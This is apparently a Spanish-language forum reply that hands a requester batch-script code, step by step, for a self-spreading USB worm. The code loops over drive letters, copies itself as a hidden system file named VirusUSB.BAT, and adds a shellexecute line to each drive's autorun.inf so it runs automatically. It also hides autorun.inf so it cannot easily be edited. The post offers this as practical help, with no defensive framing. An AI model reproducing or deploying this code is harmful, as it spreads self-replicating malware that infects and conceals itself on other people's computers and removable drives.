Hola de nuevo...
Mira he encontrado algo en mi disco duro y encontre esto:
Para lo que quieres hacer podrias hacer esto:
FOR %%A IN ( C E F G H I J K L M N O P Q R S T U V W X Y Z) DO (
IF exist %%A:\ (goto Hay) else (goto Nohay)
Ahi revisaria si existe una unidad C.....hasta Z y si la hay se va la etiqueta "Hay" y si no la hay se va a la etiqueta "Nohay".
Luego le agregas varios atributos al Bat en ejecucion:
copy %0 %%A:\VirusUSB.BAT & attrib +h +s %%A:\VirusUSB.BAT & attrib +h +s %0
Luego copias el Bat en ejecucion a la unidad encontrada con el Nombre de VirusUSB.bat y se le agregan atributos de Oculto y sistema al Bat
echo shellexecute=%%A:\VirusUSB.BAT >> %%A:\autorun.inf
Luego agregarias el VirusUSB.bat al Autorun.inf de la unidad encontrada.
attrib +h +s %%A:\autorun.inf
Luego agregarias atributos se Oculto y de sistema al Autorun.inf, para que no lo puedan editar.
Es un complemento, espero y te oriente un poco mas...
PD: Lo saque de un manual.